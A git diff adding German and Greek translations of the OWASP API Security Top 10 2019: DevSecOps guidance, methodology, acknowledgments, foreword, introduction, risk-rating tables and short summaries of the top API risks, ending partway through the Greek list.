+ +Im Zweifelsfall sollten Sie auf dem Laufenden bleiben und das [DevSecOps Manifesto][1] lesen. + +| | | +|-|-| +| **Verstehen Sie das Bedrohungsmodell** | Testprioritäten ergeben sich aus einem Bedrohungsmodell. Wenn Sie keins haben, können Sie den [OWASP Application Security Verification Standard (ASVS)][2] und die [OWASP Testing Guide][3] als Grundlage verwenden. Die Einbeziehung des Entwicklungsteams kann helfen, das Sicherheitsbewusstsein zu stärken. | +|**Verstehen Sie den SDLC**| Nehmen Sie am Entwicklungsteam teil, um den Software Development Life Cycle besser zu verstehen. Ihr Beitrag zu kontinuierlichen Sicherheitstests sollte mit Menschen, Prozessen und Werkzeugen kompatibel sein. Jeder sollte mit dem Prozess einverstanden sein, so dass es keine unnötigen Reibungen oder Widerstände gibt. | +|**Teststrategien**| Da Ihre Arbeit die Entwicklungsgeschwindigkeit nicht beeinträchtigen sollte, sollten Sie mit Bedacht die beste (einfachste, schnellste, genaueste) Technik zur Überprüfung der Sicherheitsanforderungen wählen. Das [OWASP Security Knowledge Framework][4] und der [OWASP Application Security Verification Standard][5] können gute Quellen für funktionale und nichtfunktionale Sicherheitsanforderungen sein. Es gibt weitere hervorragende Quellen für [Projekte][6] und [Tools][7], ähnlich wie die von der [DevSecOps-Community][8] angebotenen. | +**Erreichen von Abdeckung und Genauigkeit** | Sie sind die Brücke zwischen den Entwicklern und den Betriebsteams. Um eine gute Abdeckung zu erreichen, sollten Sie sich nicht nur auf die Funktionalität, sondern auch auf die Orchestrierung konzentrieren. Arbeiten Sie von Anfang an eng mit den Entwicklungs- und Betriebsteams zusammen, damit Sie Ihre Zeit und Ihren Aufwand optimieren können. Sie sollten einen Zustand anstreben, in dem die wesentliche Sicherheit kontinuierlich überprüft wird. | +**Klare Kommunikation der gefundenen Schwachstellen** | Tragen Sie mit weniger oder gar keinen Reibungsverlusten zur Wertschöpfung bei. Stellen Sie die Ergebnisse zeitnah mit den von den Entwicklungsteams verwendeten Tools bereit (keine PDF-Dateien). Arbeiten Sie mit dem Entwicklungsteam zusammen, um die Schwachstellen zu besprechen. Nutzen Sie die Gelegenheit, sie aufzuklären, indem Sie die Schwachstelle klar beschreiben und erläutern, wie sie missbraucht werden kann, einschließlich eines Angriffsszenarios, um es realistisch zu machen. | + +[1]: https://www.devsecops.org/ +[2]: https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project +[3]: https://www.owasp.org/index.php/OWASP_Testing_Project +[4]: https://www.owasp.org/index.php/OWASP_Security_Knowledge_Framework +[5]: https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project +[6]: http://devsecops.github.io/ +[7]: https://github.com/devsecops/awesome-devsecops +[8]: http://devsecops.org diff --git a/editions/2019/de/0xd0-about-data.md b/editions/2019/de/0xd0-about-data.md new file mode 100644 index 000000000..f4898c8a2 --- /dev/null +++ b/editions/2019/de/0xd0-about-data.md @@ -0,0 +1,31 @@ +# Methodik und Daten + +## Überblick + +Die AppSec-Branche hatte sich bisher nicht speziell auf die neueste Architektur von Anwendungen, in denen APIs eine wichtige Rolle spielen fokusiert. Deshalb wäre eine +Liste der zehn kritischsten API-Sicherheitsrisiken auf der Grundlage eines öffentlichen Datenaufrufs zu erstellen, eine schwierige Aufgabe gewesen. Obwohl es keinen öffentlichen Datenaufruf gab, basiert die +Top-10-Liste auf öffentlich verfügbaren Daten, Beiträgen von Sicherheitsexperten und offene Diskussionen mit der Community. + +## Methodik + +In der ersten Phase wurden öffentlich verfügbare Daten über Sicherheitsvorfälle mit APIs +von einer Gruppe von Sicherheitsexperten gesammelt, geprüft und kategorisiert. Solche +Daten wurden innerhalb eines Zeitraums von einem Jahr von Bug Bounty-Plattformen und Schwachstellendatenbanken gesammelt. Sie wurden für statistische Zwecke verwendet. + +In der nächsten Phase wurden Sicherheitsexperten mit Erfahrung in Penetrationstests +gebeten, ihre eigene Top-10-Liste zusammenzustellen. + +Zur Durchführung der Risikoanalyse wurde die [OWASP Risk Rating Methodology][1] verwendet. Die +Bewertungen wurden von den Sicherheitsexperten diskutiert und überprüft. Für +Überlegungen zu diesen Themen finden Sie im Abschnitt [API-Sicherheitsrisiken][2]. + +Der erste Entwurf der OWASP API Security Top 10 2019 entstand aus einem Konsens zwischen den statistischen Ergebnissen aus Phase eins und den Listen der Sicherheitsexperten. Dieser Entwurf wurde dann einer weiteren Gruppe von Sicherheitsexperten mit einschlägiger Erfahrung im Bereich der API-Sicherheit +weitergeleitet. + +Die OWASP API Security Top 10 2019 wurde erstmals auf der OWASP Global AppSec Tel Aviv Veranstaltung (Mai 2019) vorgestellt. Seitdem steht sie auf GitHub für öffentliche Diskussionen und Beiträge zur Verfügung. + +Die Liste der Mitwirkenden ist im Abschnitt [Acknowledgments][3] verfügbar. + +[1]: https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology +[2]: ./0x10-api-security-risks.md +[3]: ./0xd1-acknowledgments.md diff --git a/editions/2019/de/0xd1-acknowledgments.md b/editions/2019/de/0xd1-acknowledgments.md new file mode 100644 index 000000000..758de94bd --- /dev/null +++ b/editions/2019/de/0xd1-acknowledgments.md @@ -0,0 +1,44 @@ +# Danksagungen + +## Danksagungen an einzelne Mitwirkende + +Wir möchten uns bei den folgenden Personen bedanken, die öffentlich auf GitHub +oder über andere Wege zu diesem Projekt beigetragen haben: + +* 007divyachawla +* Abid Khan +* Adam Fisher +* anotherik +* bkimminich +* caseysoftware +* Chris Westphal +* dsopas +* DSotnikov +* emilva +* ErezYalon +* flascelles +* Guillaume Benats +* IgorSasovets +* Inonshk +* JonnySchnittger +* jmanico +* jmdx +* Keith Casey +* kozmic +* LauraRosePorter +* Matthieu Estrade +* nathanawmk +* PauloASilva +* pentagramz +* philippederyck +* pleothaud +* r00ter +* Raj kumar +* Sagar Popat +* Stephen Gates +* thomaskonrad +* xycloops123 +* Nick Lorenz +* Moritz Gruber +* Tim Barsch (domai-tb) +* Steffen Thamm diff --git a/editions/2019/de/dist/owasp-api-security-top-10.odt b/editions/2019/de/dist/owasp-api-security-top-10.odt new file mode 100644 index 000000000..2377f1b94 Binary files /dev/null and b/editions/2019/de/dist/owasp-api-security-top-10.odt differ diff --git a/editions/2019/de/dist/owasp-api-security-top-10.pdf b/editions/2019/de/dist/owasp-api-security-top-10.pdf new file mode 100644 index 000000000..85a439e3e Binary files /dev/null and b/editions/2019/de/dist/owasp-api-security-top-10.pdf differ diff --git a/2019/en/src/images/cover.jpg b/editions/2019/de/images/cover.jpg similarity index 100% rename from 2019/en/src/images/cover.jpg rename to editions/2019/de/images/cover.jpg diff --git a/2019/en/src/images/front-cc.png b/editions/2019/de/images/front-cc.png similarity index 100% rename from 2019/en/src/images/front-cc.png rename to editions/2019/de/images/front-cc.png diff --git a/2019/en/src/images/front-wasp.png b/editions/2019/de/images/front-wasp.png similarity index 100% rename from 2019/en/src/images/front-wasp.png rename to editions/2019/de/images/front-wasp.png diff --git a/2019/en/src/images/license.png b/editions/2019/de/images/license.png similarity index 100% rename from 2019/en/src/images/license.png rename to editions/2019/de/images/license.png diff --git a/2019/en/src/images/owasp-logo.png b/editions/2019/de/images/owasp-logo.png similarity index 100% rename from 2019/en/src/images/owasp-logo.png rename to editions/2019/de/images/owasp-logo.png diff --git a/editions/2019/el-gr/0x00-header.md b/editions/2019/el-gr/0x00-header.md new file mode 100644 index 000000000..20bc870fc --- /dev/null +++ b/editions/2019/el-gr/0x00-header.md @@ -0,0 +1,19 @@ +--- +title: '' +--- + +![OWASP LOGO](images/owasp-logo.png) + +# OWASP API Security Top 10 2019 στα Ελληνικά + +Τα 10 Κορυφαία Ρίσκα Ασφαλείας API - Ελληνική μετάφραση του "The Ten Most Critical API Security Risks" + +30/6/2022 + +![WASP Logo URL TBA](images/front-wasp.png) + +| | | | +| - | - | - | +| https://owasp.org | Η παρούσα εργασία διατίθεται υπό την άδεια [Creative Commons Attribution-ShareAlike 4.0 International License][1] | ![Creative Commons License Logo](images/front-cc.png) | + +[1]: http://creativecommons.org/licenses/by-sa/4.0/ diff --git a/editions/2019/el-gr/0x00-notice.md b/editions/2019/el-gr/0x00-notice.md new file mode 100644 index 000000000..e26acfb3d --- /dev/null +++ b/editions/2019/el-gr/0x00-notice.md @@ -0,0 +1,13 @@ +# Σημείωση + +Το παρών είναι η έκδοση κειμένου του OWASP API Security Top 10 που χρησιμοποιείται σαν πηγή +για την επίσημη έκδοση και διατίθεται σαν Portable Document Format (PDF). + +Οποιαδήποτε συνεισφορά στην εργασία όπως σχόλια, διορθώσεις, ή μεταφράσεις +θα πρέπει να γίνονται εδώ. Για περισσότερες πληροφορίες για το Πως να συνεισφέρετε, +παρακαλώ δείτε το CONTRIBUTING.md. + +* Erez Yallon +* Inon Shkedy + +[1]: ../../CONTRIBUTING.md diff --git a/editions/2019/el-gr/0x00-toc.md b/editions/2019/el-gr/0x00-toc.md new file mode 100644 index 000000000..0bf3b5084 --- /dev/null +++ b/editions/2019/el-gr/0x00-toc.md @@ -0,0 +1,23 @@ +# Πίνακας Περιεχομένων + +* [Πίνακας Περιεχομένων](0x00-toc.md) +* [Σχετικά με το OWASP](0x01-about-owasp.md) +* [Πρόλογος](0x02-foreword.md) +* [Εισαγωγή](0x03-introduction.md) +* [Σημειώσεις Έκδοσης](0x04-release-notes.md) +* [Ρίσκα Ασφαλείας API](0x10-api-security-risks.md) +* [OWASP Τα 10 Κορυφαία Ρίσκα Ασφαλείας API – 2019](0x11-t10.md) +* [API1:2019 Broken Object Level Authorization](0xa1-broken-object-level-authorization.md) +* [API2:2019 Broken User Authentication](0xa2-broken-user-authentication.md) +* [API3:2019 Excessive Data Exposure](0xa3-excessive-data-exposure.md) +* [API4:2019 Lack of Resources & Rate Limiting](0xa4-lack-of-resources-and-rate-limiting.md) +* [API5:2019 Broken Function Level Authorization](0xa5-broken-function-level-authorization.md) +* [API6:2019 Mass Assignment](0xa6-mass-assignment.md) +* [API7:2019 Security Misconfiguration](0xa7-security-misconfiguration.md) +* [API8:2019 Injection](0xa8-injection.md) +* [API9:2019 Improper Assets Management](0xa9-improper-assets-management.md) +* [API10:2019 Insufficient Logging & Monitoring](0xaa-insufficient-logging-monitoring.md) +* [Επόμενα Βήματα για Προγραμματιστές](0xb0-next-devs.md) +* [Επόμενα Βήματα για DevSecOps](0xb1-next-devsecops.md) +* [Μεθοδολογία και Δεδομένα](0xd0-about-data.md) +* [Ευχαριστίες](0xd1-acknowledgments.md) diff --git a/editions/2019/el-gr/0x01-about-owasp.md b/editions/2019/el-gr/0x01-about-owasp.md new file mode 100644 index 000000000..e90923af8 --- /dev/null +++ b/editions/2019/el-gr/0x01-about-owasp.md @@ -0,0 +1,56 @@ +# Σχετικά με το OWASP + +Το OWASP (Open Web Application Security Project) είναι μια ανοιχτή κοινότητα +που αποσκοπεί στο να βοηθήσει οργανισμούς να παράγουν, να προμηθεύονται και +να συντηρούν εφαρμογές και API που θα είναι ασφαλή. + +Στο OWASP θα βρείτε δωρεάν διαθέσιμα και ελεύθερα προσβάσιμα σε όλους τα παρακάτω: + +* Εργαλεία ασφαλείας εφαρμογών καθώς και πρότυπα ασφαλείας (standards). +* Ολόκληρα βιβλία για testing ασφαλείας εφαρμογών, ανάπτυξη ασφαλούς κώδικα, και +ελέγχου (review) ασφαλούς κώδικα. +* Παρουσιάσεις και [βίντεο][1]. +* [Σκονάκια][2] (cheatsheets) σε πολλά συνήθη θέματα. +* Standard ελέγχους ασφαλείας και βιβλιοθήκες. +* [Τοπικά chapters σε όλο τον κόσμο][3]. +* Κορυφαίες έρευνες. +* [Συνέδρια σε όλο τον κόσμο][4]. +* [Λίστες ταχυδρομείου][5]. + +Μάθετε περισσότερα στο: [https://www.owasp.org][6]. + +Όλα τα εργαλεία, έγγραφα, βίντεο, παρουσιάσεις και παραρτήματα (chapters) του OWASP είναι δωρεάν διαθέσιμα και ελεύθερα προσβάσιμα σε όλους όσους ενδιαφέρονται να βελτιώσουν την ασφάλεια των εφαρμογών τους. + +Προσεγγίζουμε την ασφάλεια εφαρμογών ως ένα πρόβλημα ανθρώπων, +διεργασιών και τεχνολογίας, καθώς οι πιο αποτελεσματικές προσεγγίσεις +στο πρόβλημα απαιτούν βελτιώσεις στους παραπάνω τομείς. + +Το OWASP είναι ένα νέο είδος οργανισμού. Η ανεξαρτησία μας από τυχόν εμπορικές πιέσεις +μας επιτρέπει να παρέχουμε αμερόληπτες, πρακτικές και οικονομικά αποδοτικές +πληροφορίες σχετικά με την ασφάλεια εφαρμογών. + +Το OWASP δεν είναι συνδεδεμένο με καμία εταιρεία τεχνολογίας. Παρόλα αυτά υποστηρίζουμε την +σωστή χρήση της εμπορικής τεχνολογίας ασφαλείας. Το OWASP παράγει υλικό με +συλλογικό, διαφανή και ανοιχτό τρόπο. + +Το Ίδρυμα OWASP είναι η μη κερδοσκοπική οντότητα που διασφαλίζει την μακροπρόθεσμη επιτυχία +αυτού του έργου. Σχεδόν όλοι όσοι σχετίζονται με το OWASP είναι εθελοντές, +συμπεριλαμβανομένου του διοικητικού συμβουλίου OWASP, των επικεφαλής των παραρτημάτων (chapters), των επικεφαλής έργων και των μελών των έργων (projects). Υποστηρίζουμε την καινοτόμο έρευνα στον τομέα ασφαλείας με επιχορηγήσεις και υποδομές. + +Σας καλούμε να συμμετάσχετε και εσείς στο OWASP! + +## Copyright και Άδεια + +![license](images/license.png) + +Copyright © 2003-2019 The OWASP Foundation. Αυτό το έγγραφο κυκλοφορεί υπό την άδεια +[Creative Commons Attribution Share-Alike 4.0 license][7]. Για να επαναχρησιμοποιήσετε ή +να διανέμετε, θα πρέπει να καταστήσετε σαφές στους άλλους τους όρους άδειας χρήσης αυτού του έργου. + +[1]: https://www.youtube.com/user/OWASPGLOBAL +[2]: https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series +[3]: https://www.owasp.org/index.php/OWASP_Chapter +[4]: https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference +[5]: https://lists.owasp.org/mailman/listinfo +[6]: https://www.owasp.org +[7]: http://creativecommons.org/licenses/by-sa/4.0/ diff --git a/editions/2019/el-gr/0x02-foreword.md b/editions/2019/el-gr/0x02-foreword.md new file mode 100644 index 000000000..9f5945d2f --- /dev/null +++ b/editions/2019/el-gr/0x02-foreword.md @@ -0,0 +1,42 @@ +# Πρόλογος + +Ένα θεμελιώδες στοιχείο καινοτομίας στον σημερινό κόσμο που βασίζεται στις εφαρμογές +είναι η διεπαφή προγραμματισμού εφαρμογών (API). Από τις τράπεζες, το λιανικό εμπόριο +και τις μεταφορές έως το IoT, τα αυτόνομα οχήματα και τις έξυπνες πόλεις, τα API +αποτελούν κρίσιμο μέρος των σύγχρονων εφαρμογών για κινητά, SaaS και web. Τα API μπορούν +να βρεθούν σε εφαρμογές που απευθύνονται σε πελάτες, σε εφαρμογές που απευθύνονται σε +συνεργάτες και σε ενδοεταιρικές εφαρμογές. + +Από τη φύση τους, τα APIs αφήνουν εκτεθειμένες ορισμένες πτυχές της επιχειρηματικής λογικής της εφαρμογής (business logic) καθώς και ευαίσθητα δεδομένα όπως οι Προσωπικές Αναγνωριστικές Πληροφορίες (PII) (Σ.τ.Μ. πληροφορίες που επιτρέπουν την αναγνώριση προσώπου). Γι' αυτό τον λόγο τα API γίνονται όλο και περισσότερο στόχος κακόβουλων χρηστών. Χωρίς ασφαλή APIs, η ταχεία καινοτομία θα ήταν αδύνατη. + +Παρόλο που ένα γενικευμένο Top 10 με κινδύνους ασφαλείας για web εφαρμογές +εξακολουθεί να έχει νόημα, λόγω της ιδιαίτερης φύσης των APIs, απαιτείται μια λίστα +ρίσκων ασφαλείας ειδικά για τα API. Η ασφάλεια των APIs εστιάζει σε στρατηγικές +και λύσεις για την κατανόηση και την αντιμετώπιση των μοναδικών τρωτών σημείων +και ρίσκων ασφαλείας που σχετίζονται με τα APIs. + +Εάν είστε εξοικειωμένοι με το [OWASP Top 10 Project][1], τότε θα παρατηρήσετε +τις ομοιότητες μεταξύ των δύο καταγραφών: στόχος τους είναι η εύκολη ανάγνωση (readability) +και εύκολη υιοθέτηση (adoption). Εάν είστε νέος στη σειρά OWASP Top 10 ίσως είναι καλύτερα +να διαβάσετε τις ενότητες [Ρίσκα Ασφαλείας API][2] και [Μεθοδολογία και Δεδομένα][3] +πριν μεταβείτε στη λίστα Top 10. + +Μπορείτε να συνεισφέρετε στο OWASP API Security Top 10 με τις ερωτήσεις, +τα σχόλια και τις ιδέες σας στο ηλεκτρονικό «αποθετήριο» (repository) του έργου στο GitHub: + +* https://github.com/OWASP/API-Security/issues +* https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md + +Μπορείτε να βρείτε το OWASP API Security Top 10 εδώ: + +* https://www.owasp.org/index.php/OWASP_API_Security_Project +* https://github.com/OWASP/API-Security + +Θέλουμε να ευχαριστήσουμε όλους τους συντελεστές που κατέστησαν δυνατό αυτό +το έργο με την προσπάθεια και τη συνεισφορά τους. Όλοι τους αναφέρονται στην ενότητα +[Ευχαριστίες][4]. Σας ευχαριστούμε! + +[1]: https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project +[2]: ./0x10-api-security-risks.md +[3]: ./0xd0-about-data.md +[4]: ./0xd1-acknowledgments.md diff --git a/editions/2019/el-gr/0x03-introduction.md b/editions/2019/el-gr/0x03-introduction.md new file mode 100644 index 000000000..69a30e371 --- /dev/null +++ b/editions/2019/el-gr/0x03-introduction.md @@ -0,0 +1,26 @@ +# Εισαγωγή + +## Καλώς ήρθατε στο OWASP API Security Top 10 - 2019! + +Καλώς ήρθατε στην πρώτη έκδοση του OWASP API Security Top 10. Εάν είστε +εξοικειωμένοι με τη σειρά OWASP Top 10 τότε θα παρατηρήσετε +τις ομοιότητες μεταξύ των δύο καταγραφών: στόχος τους είναι η εύκολη ανάγνωση (readability) και η εύκολη υιοθέτηση (adoption). Σε διαφορετική περίπτωση, εξετάστε το ενδεχόμενο να επισκεφτείτε τη σελίδα [OWASP API Security Project wiki][1] προτού εμβαθύνετε στους πιο κρίσιμους κινδύνους για την ασφάλεια των APIs. + +Τα APIs παίζουν πολύ σημαντικό ρόλο στην αρχιτεκτονική των σύγχρονων εφαρμογών. +Εφόσον η δράση ευαισθητοποίησης του κοινού για την ασφάλεια και η καινοτομία έχουν +διαφορετικούς ρυθμούς, είναι σημαντικό να εστιάσετε στις συνηθισμένες αδυναμίες +ασφαλείας APIs. + +Ο πρωταρχικός στόχος του OWASP API Security Top 10 είναι να εκπαιδεύσει όσους +εμπλέκονται στην ανάπτυξη και συντήρηση APIs, για παράδειγμα, προγραμματιστές, +σχεδιαστές, αρχιτέκτονες, διαχειριστές ή επιχειρήσεις / οργανισμούς. + +Στην ενότητα [Μεθοδολογία και Δεδομένα][2], μπορείτε να διαβάσετε περισσότερα +για το πώς δημιουργήθηκε αυτή η πρώτη έκδοση. Σε μελλοντικές εκδόσεις, θέλουμε +να συνεργαστούμε με τις επιχειρήσεις του τομέα της ασφαλείας εφαρμογών (security industry), με μια δημόσια πρόσκληση για διαμοιρασμό δεδομένων. Προς το παρόν, ενθαρρύνουμε όλους να συνεισφέρουν με ερωτήσεις, σχόλια και ιδέες +στο [αποθετήριο (repository) GitHub][3] ή στη [Λίστα αλληλογραφίας][4]. + +[1]: https://www.owasp.org/index.php/OWASP_API_Security_Project +[2]: ./0xd0-about-data.md +[3]: https://github.com/OWASP/API-Security +[4]: https://groups.google.com/a/owasp.org/forum/#!forum/api-security-project diff --git a/editions/2019/el-gr/0x04-release-notes.md b/editions/2019/el-gr/0x04-release-notes.md new file mode 100644 index 000000000..ccebe5aae --- /dev/null +++ b/editions/2019/el-gr/0x04-release-notes.md @@ -0,0 +1,29 @@ +# Σημειώσεις Έκδοσης + +Αυτή είναι η πρώτη έκδοση του OWASP API Security Top 10. Σκοπός μας είναι η έκδοση να +ενημερώνεται περιοδικά κάθε τρία ή τέσσερα χρόνια. + +Σε μελλοντικές εκδόσεις, σε αντίθεση με την παρούσα έκδοση, θέλουμε να κάνουμε +μια δημόσια πρόσκληση για δεδομένα, σε συνεργασία με τις επιχειρήσεις του τομέα της ασφάλειας εφαρμογών (security industry) σε αυτή την προσπάθεια. Στην ενότητα [Μεθοδολογία και Δεδομένα][1] θα βρείτε περισσότερες πληροφορίες σχετικά με τον τρόπο δημιουργίας αυτής της έκδοσης. Για περισσότερες λεπτομέρειες σχετικά με τους κινδύνους ασφαλείας, ανατρέξτε στην ενότητα [Ρίσκα Ασφαλείας API][2]. + +Είναι σημαντικό να συνειδητοποιήσουμε ότι τα τελευταία χρόνια, η αρχιτεκτονική των εφαρμογών έχει αλλάξει σημαντικά. Επί του παρόντος, τα APIs διαδραματίζουν πολύ σημαντικό ρόλο σε αυτή τη νέα αρχιτεκτονική των μικροϋπηρεσιών (microservices), των εφαρμογών μιας σελίδας (SPA), των εφαρμογών για κινητά, του IoT κ.λπ. + +Το OWASP API Security Top 10 ήταν μια απαραίτητη προσπάθεια για την ευαισθητοποίηση του κοινού σχετικά με τα σύγχρονα ζητήματα ασφαλείας των APIs. Αυτό ήταν εφικτό μόνο χάρη στη σημαντική προσπάθεια πολλών εθελοντών οι οποίοι αναφέρονται στην ενότητα [Ευχαριστίες][3]. Σας ευχαριστούμε! + +Σημειώσεις Μετάφρασης +===================== + +Η μετάφραση του OWASP API Security Top 10 2019 πραγματοποιήθηκε εθελοντικά με στόχο να γίνει η +καταγραφή προσβάσιμη και στην ελληνική γλώσσα. + +Πιστεύουμε ότι αυτή είναι μια ουσιαστική συνεισφορά στην αποστολή της ευαισθητοποίησης και της +εκπαίδευσης όλων όσων εμπλέκονται στην ανάπτυξη και συντήρηση APIs και λογισμικού γενικότερα για +θέματα που σχετίζονται με την ασφάλεια. + +Η ελληνική μετάφραση προέκυψε από την προσπάθεια των παρακάτω: +- Athanasios Emmanouilidis https://www.linkedin.com/in/athanasiosem/ +- Apostolos Giannakidis https://www.linkedin.com/in/giannakidisapostolos/ + +[1]: ./0xd0-about-data.md +[2]: ./0x10-api-security-risks.md +[3]: ./0xd1-acknowledgments.md diff --git a/editions/2019/el-gr/0x10-api-security-risks.md b/editions/2019/el-gr/0x10-api-security-risks.md new file mode 100644 index 000000000..2c6cbb452 --- /dev/null +++ b/editions/2019/el-gr/0x10-api-security-risks.md @@ -0,0 +1,38 @@ +# Ρίσκα Ασφαλείας API + +Για την ανάλυση κινδύνου χρησιμοποιήθηκε η [Μεθοδολογία Αξιολόγησης Ρίσκου OWASP][1]. + +Ο παρακάτω πίνακας συνοψίζει την ορολογία που σχετίζεται με τη βαθμολογία κινδύνου. + +| Παράγοντες Απειλής (Threat Agents) | Εκμεταλλευσιμότητα (Exploitability) | Επικράτηση Αδυναμίας (Weakness Prevalence) | Ανιχνευσιμότητα Αδυναμίας (Weakness Detectability) | Τεχνικός Αντίκτυπος (Technical Impact) | Επιχειρησιακές Επιπτώσεις (Business Impacts) | +| :-: | :-: | :-: | :-: | :-: | :-: | +| Εξαρτώνται από το API | Εύκολη: **3** | Διαδεδομένη **3** | Εύκολη **3** | Σοβαρός **3** | Εξαρτώνται από την επιχείρηση | +| Εξαρτώνται από το API | Μεσαία: **2** | Κοινή **2** | Μεσαία **2** | Μεσαίος **2** | Εξαρτώνται από την επιχείρηση | +| Εξαρτώνται από το API | Δύσκολη: **1** | Δύσκολη **1** | Δύσκολη **1** | Μικρός **1** | Εξαρτώνται από την επιχείρηση | + +Σημείωση: Η παραπάνω προσέγγιση δεν λαμβάνει υπόψη την πιθανότητα του παράγοντα απειλής (likelihood of threat agent). Επίσης δεν λαμβάνει υπόψη καμία από τις διάφορες τεχνικές λεπτομέρειες που σχετίζονται με τη συγκεκριμένη εφαρμογή σας. Οποιοσδήποτε από αυτούς τους παράγοντες θα μπορούσε να επηρεάσει σημαντικά τη συνολική πιθανότητα ο εισβολέας να βρει και να εκμεταλλευτεί μια συγκεκριμένη ευπάθεια. Αυτή η βαθμολογία δεν λαμβάνει υπόψη τον πραγματικό αντίκτυπο στην επιχείρησή σας. Η επιχείρηση/οργανισμός σας θα πρέπει να αποφασίσει πόσο ρίσκο ασφαλείας από τις εφαρμογές και τα APIs είναι διατεθειμένος να αποδεχτεί, δεδομένης της εταιρικής κουλτούρας/πολιτικών, του κλάδου και του ρυθμιστικού περιβάλλοντος. Ο σκοπός του OWASP API Security Top 10 δεν είναι να κάνει αυτήν την ανάλυση κινδύνου για εσάς. + +## Αναφορές (References) + +### Αναφορές OWASP + +* [OWASP Risk Rating Methodology][1] +* [Article on Threat/Risk Modeling][2] + +### Εξωτερικές Αναφορές + +* [ISO 31000: Risk Management Std][3] +* [ISO 27001: ISMS][4] +* [NIST Cyber Framework (US)][5] +* [ASD Strategic Mitigations (AU)][6] +* [NIST CVSS 3.0][7] +* [Microsoft Threat Modeling Tool][8] + +[1]: https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology +[2]: https://www.owasp.org/index.php/Threat_Risk_Modeling +[3]: https://www.iso.org/iso-31000-risk-management.html +[4]: https://www.iso.org/isoiec-27001-information-security.html +[5]: https://www.nist.gov/cyberframework +[6]: https://www.asd.gov.au/infosec/mitigationstrategies.htm +[7]: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator +[8]: https://www.microsoft.com/en-us/download/details.aspx?id=49168 diff --git a/editions/2019/el-gr/0x11-t10.md b/editions/2019/el-gr/0x11-t10.md new file mode 100644 index 000000000..ffc1fe5dd --- /dev/null +++ b/editions/2019/el-gr/0x11-t10.md @@ -0,0 +1,14 @@ +# OWASP Τα 10 Κορυφαία Ρίσκα Ασφαλείας API – 2019 + +| Ρίσκο | Περιγραφή | +| ---- | ----------- | +| API1:2019 - Broken Object Level Authorization | Πολύ συχνά, τα APIs εκθέτουν τελικά σημεία προορισμού (endpoints) που χειρίζονται αναγνωριστικά αντικειμένων (object IDs), δημιουργώντας μία ευρεία επιφάνεια έκθεσης σε πιθανές επιθέσεις επιπέδου ελέγχου πρόσβασης (wide attack surface Level Access Control). Οι έλεγχοι εξουσιοδότησης σε επίπεδο αντικειμένου (Object Level Authorization) θα πρέπει να λαμβάνονται υπόψη σε κάθε λειτουργία που έχει πρόσβαση σε δεδομένα προερχόμενα από χρήστες. | +| API2:2019 - Broken User Authentication | Οι μηχανισμοί ελέγχου ταυτότητας χρηστών συχνά υλοποιούνται εσφαλμένα, επιτρέποντας στους εισβολείς να διακυβεύουν τα διακριτικά ελέγχου ταυτότητας ή να εκμεταλλεύονται ελαττώματα στην υλοποίηση της εφαρμογής για να προσποιούνται προσωρινά ή μόνιμα τις ταυτότητες άλλων χρηστών. Όταν διακυβεύεται η ικανότητα του συστήματος να αναγνωρίζει τον χρήστη / εφαρμογή-πελάτη (client) τότε θέτεται σε κίνδυνο η ασφάλεια των APIs συνολικά. | +| API3:2019 - Excessive Data Exposure | Στοχεύοντας σε γενικευμένες υλοποιήσεις (generic implementations), οι προγραμματιστές τείνουν να εκθέτουν όλα τα δεδομένα/ιδιότητες των αντικειμένων (object properties) χωρίς να λαμβάνουν υπόψη την ατομική τους ευαισθησία/εμπιστευτικότητα, βασιζόμενοι ότι οι εφαρμογές-πελάτες θα εκτελέσουν το φιλτράρισμα δεδομένων πριν τα εμφανίσουν στον χρήστη. | +| API4:2019 - Lack of Resources & Rate Limiting | Πολύ συχνά, τα APIs δεν επιβάλλουν περιορισμούς στο μέγεθος ή τον αριθμό των πόρων που μπορεί να ζητήσει ο χρήστης / εφαρμογή-πελάτη (client). Αυτό όχι μόνο μπορεί να επηρεάσει την απόδοση του διακομιστή API, οδηγώντας σε άρνηση υπηρεσίας (DoS), αλλά αφήνει επίσης ανοιχτό το ενδεχόμενο ελαττωμάτων ελέγχου ταυτότητας, όπως η ωμή βία (brute force). | +| API5:2019 - Broken Function Level Authorization | Πολύπλοκες πολιτικές ελέγχου πρόσβασης με διαφορετικές ιεραρχίες, ομάδες και ρόλους, καθώς και ασαφείς διαχωρισμοί μεταξύ διαχειριστικών/διαβαθμισμένων (administrative) και μη-διαβαθμισμένων λειτουργιών, τείνουν να οδηγούν σε ελαττώματα εξουσιοδότησης. Εκμεταλλευόμενοι αυτά τα ζητήματα, οι εισβολείς αποκτούν πρόσβαση σε πόρους ή/και διαβαθμισμένες λειτουργίες άλλων χρηστών. | +| API6:2019 - Mass Assignment | Η σύνδεση δεδομένων που προέρχονται από χρήστες ή εφαρμογές-πελάτες (π.χ. JSON) σε μοντέλα δεδομένων, χωρίς το κατάλληλο φιλτράρισμα ιδιοτήτων βάσει μιας λίστας επιτρεπόμενων δεδομένων (whitelist), συνήθως οδηγεί σε μαζική εκχώρηση δεδομένων (Mass Assignment). Οι εισβολείς καταφέρνουν να τροποποιήσουν τις ιδιότητες αντικειμένων που δεν θα έπρεπε να έχουν πρόσβαση να τροποποιήσουν με διάφορους τρόπους, όπως με το να μαντεύουν τις ιδιότητες των αντικειμένων, την εξερεύνηση άλλων τελικών σημείων προορισμού (API endpoints), την μελέτη της τεκμηρίωσης του λογισμικού (documentation) ή την παροχή πρόσθετων ιδιοτήτων αντικειμένων σε ωφέλιμα φορτία αιτημάτων (request payloads). +| API7:2019 - Security Misconfiguration | Οι εσφαλμένες ρυθμίσεις ασφαλείας είναι συνήθως αποτέλεσμα μη ασφαλών προεπιλεγμένων ρυθμίσεων, ελλιπών ή αυτοσχέδιων/πρόχειρων (ad-hoc) ρυθμίσεων, χώρου αποθήκευσης cloud με ελλιπείς ή χωρίς περιορισμούς χρήσης, εσφαλμένων ρυθμίσεων κεφαλίδων HTTP (headers), περιττών μεθόδων HTTP, επιτρεπόμενης κοινής χρήσης πόρων Cross-Origin (CORS) και λεπτομερών μηνυμάτων σφάλματος που περιέχουν ευαίσθητες 